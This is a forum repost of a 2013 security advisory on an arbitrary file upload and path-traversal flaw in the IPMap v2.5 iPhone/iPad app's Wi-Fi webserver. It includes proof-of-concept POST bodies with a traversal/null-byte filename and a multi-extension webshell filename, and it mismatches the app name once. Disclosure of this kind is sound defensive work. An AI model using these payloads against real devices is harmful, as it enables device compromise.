Kwelwild Posted February 26, 2013 Report Posted February 26, 2013 IPMap v2.5 iPad iPhone - Arbitrary File UploadTitle:======IPMap v2.5 iPad iPhone - Arbitrary File Upload Web VulnerabilitiesDate:=====2013-02-18References:===========http://www.vulnerability-lab.com/get_content.php?id=866VL-ID:=====866Common Vulnerability Scoring System:====================================6.3Introduction:=============IPMap - IP Address Lookup Details & HTTP Wireless File Sharing with latest WorldWide IP database & FREE Monthly update.Accuracy: Over 99.8% on a country level and 83% on a city level for the US within a 25 mile radius.Features:Auto Detect & LookupYour Real IP addressIP address HostnameIP address Country Code... ... ...IP address Area CodeIP location MapHTTP Wireless File SharingiTunes File SyncWeb Upload File SupportCustomizable Background from your Photos Album(Copy of the Homepage: https://itunes.apple.com/us/app/ipmap-ip-address-lookup-details/id416041538 )Abstract:=========The Vulnerability Laboratory Research Team discovered an arbitrary file upload vulnerability in the mobile IPMap v2.5 app for the apple ipad & iphone.Report-Timeline:================2013-02-18: Public DisclosureStatus:========PublishedAffected Products:==================Apple AppStoreProduct: IPMap - iPad iPhone 2.5Exploitation-Technique:=======================RemoteSeverity:=========CriticalDetails:========A local file include and arbitrary file upload web vulnerability via POST request method is detected in the mobile IPMap v2.5 appfor the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders torequest unauthorized local webserver files.1.1The main vulnerbility is located in the upload file script of the webserver (http://192.168.0.10:6123/) when processing to load a manipulatedfilename via POST request method. The execution of the injected path or file request will occur when the attacker is watching the file index listingof the wifi web application web-server.1.2Remote attackers can also unauthorized implement mobile webshells by using multiple file extensions (pentest.php.js.gif) when processing toupload (submit) via POST request method. The attacker uploads a file with a double extension or multiple extensions and access the file in thesecound step via directory webserver dir listing to compromise the apple iphone or ipad.Exploitation of the local file include web vulnerability does not require user interaction and also no privileged user account.Successful exploitation of the web vulnerabilities results in app/service manipulation and ipad or iphone compromise via fileinclude or unauthorized file (webshell) upload attacks.Vulnerable Application(s): [+] WiFilet v1.2 - ITunes or AppStore (Apple)Vulnerable Module(s): [+] File Upload via Submit (Web Server) [Remote]Vulnerable Parameter(s): [+] file > filenameAffected Module(s): [+] File Dir Index - ListingProof of Concept:=================Both vulnerabilities can be exploited by remote attackers without privileged application user account and also without required user interaction.For demonstration or reproduce ...1.1PoC: (POST)-----------------------------307341202725627Content-Disposition: form-data; name="file"; filename="../../../../cmd>home>tmp%00<'.png"Content-Type: image/png????Review: File Dir Listing<html><head><meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>IPMap</title><style>body { background-color:#f0f7fd; font-family:Tahoma,Arial,Helvetica,sans-serif;font-size:18x; padding:15px; margin-left:15%; margin-right:15%; } </style></head><body><h2 style="background-color:#6897ff; margin:0; color:#fff; padding:5px 10px; border: 1px outset #aaa;border-bottom: 0px;">IPMap</h2><h4 style="background-color:#6897ff;margin:0; color:#fff; padding:0px 10px 8px 10px; border: 1px outset #aaa; border-top: 0px;">The following files are hosted live from the iPhone's Docs folder.</h4><p><table style="text-align:center; border-color:#9bc0d2;background:#f0f7fd; color:#4e697a; margin:0 auto;" border="1" cellpadding="0" cellspacing="0"><tbody><tr height="30"><td width="400"><strong>File Name</strong></td><td width="400"><strong>File Info</strong></td></tr><tr height="30"><td><a href="http://192.168.0.10:6123/../../../../cmd>home>tmp%00<'">%20%20%20%20&"><iframe src="../../../../cmd>home>tmp%00<'">%20%20%20%20&">%20%20%20%20</a></td><td>(27.3 Kb, 2013-02-07 07:00:31 +0000)</td></tr></table></p><form action=""method="post" enctype="multipart/form-data" name="form1"id="form1"><table border="0" cellpadding="0" cellspacing="0"style="text-align:center; margin:0 auto;"><trheight="50"><td width="400"><label>upload file<inputtype="file" name="file" id="file" /></label></td><tdwidth="400"><label><input type="submit" name="button"id="button" value="Submit" /> <font size="-1">* Please do NOTupload index.htm orindex.html</font></label></td></tr></table></form></body></html></iframe></a></td></tr></tbody></table></p></body></html>1.2PoC: (POST)-----------------------------307341202725627Content-Disposition: form-data; name="file"; filename="pentest.php.js.html.htm.xml.png"Content-Type: image/gifReference(s):http://192.168.0.10:6123/Risk:=====The security risk of the arbitrary file upload web vulnerability via POST request method is estimated as critical.Credits:========Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)Disclaimer:===========The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of businessprofits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Somestates do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitationmay not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databasesor trade with fraud/stolen material.Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/registerContact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.comSection: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.comSocial: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0labFeeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.phpAny modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of othermedia, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos andother information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright ? 2013 | Vulnerability Laboratory-- VULNERABILITY RESEARCH LABORATORYLABORATORY RESEARCH TEAMCONTACT: research@vulnerability-lab.comSurs?: IPMap v2.5 iPad iPhone - Arbitrary File Upload Quote
